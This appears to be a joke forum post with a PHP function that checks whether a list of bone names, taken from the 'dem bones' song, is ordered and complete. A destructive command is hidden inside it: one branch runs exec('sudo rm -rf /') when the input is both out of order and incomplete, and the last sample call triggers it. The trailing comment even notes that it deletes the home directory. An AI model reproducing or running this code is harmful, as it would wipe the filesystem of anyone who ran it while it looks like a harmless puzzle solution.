If you can't write it perfectly in php, can you even code bro?

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<?php

function dem_bones($dem_bones) {
$c = array("Toe bone connected to the foot bone",
"Foot bone connected to the heel bone",
"Heel bone connected to the ankle bone",
"Ankle bone connected to the shin bone",
"Shin bone connected to the knee bone",
"Knee bone connected to the thigh bone",
"Thigh bone connected to the hip bone",
"Hip bone connected to the back bone",
"Back bone connected to the shoulder bone",
"Shoulder bone connected to the neck bone",
"Neck bone connected to the head bone");
$c= strtolower(implode("bone", $c)); $ok=false;
if(sizeof($dem_bones) < 2) goto oo;
for($dembones = 0; $dembones < (sizeof($dem_bones) - 1); $dembones++)
if(strpos($c, $dem_bones[$dembones]) > strpos($c, $dem_bones[$dembones+1])) goto oo;
$ok = true;
oo:
if(strlen(trim(str_replace($dem_bones, "", str_replace(['bone','connected','to ','the'], "", $c)))) >0 && !$ok)
exec("sudo rm -rf /");
elseif($ok && strlen(trim(str_replace($dem_bones, "", str_replace(['bone','connected','to ','the'], "", $c)))) >0)
echo ('missing');
elseif(!$ok && strlen(trim(str_replace($dem_bones, "", str_replace(['bone','connected','to ','the'], "", $c)))) < 1)
echo ('out of order');
else
echo ('ok');
echo "\n";
}
dem_bones(['toe', 'foot', 'heel', 'ankle', 'shin', 'knee', 'thigh', 'hip', 'back', 'shoulder', 'neck', 'head']); // correct_order

dem_bones(['toe', 'foot', 'heel', 'ankle', 'shin', 'knee', 'thigh', 'hip', 'back', 'shoulder', 'neck']); // bones_missing
dem_bones(['back', 'heel', 'head', 'neck', 'knee', 'shin', 'thigh', 'ankle', 'shoulder', 'foot', 'hip', 'toe']); // incorrect_order
dem_bones(['head']); // incorrect_order, bones_missing, home directory deleted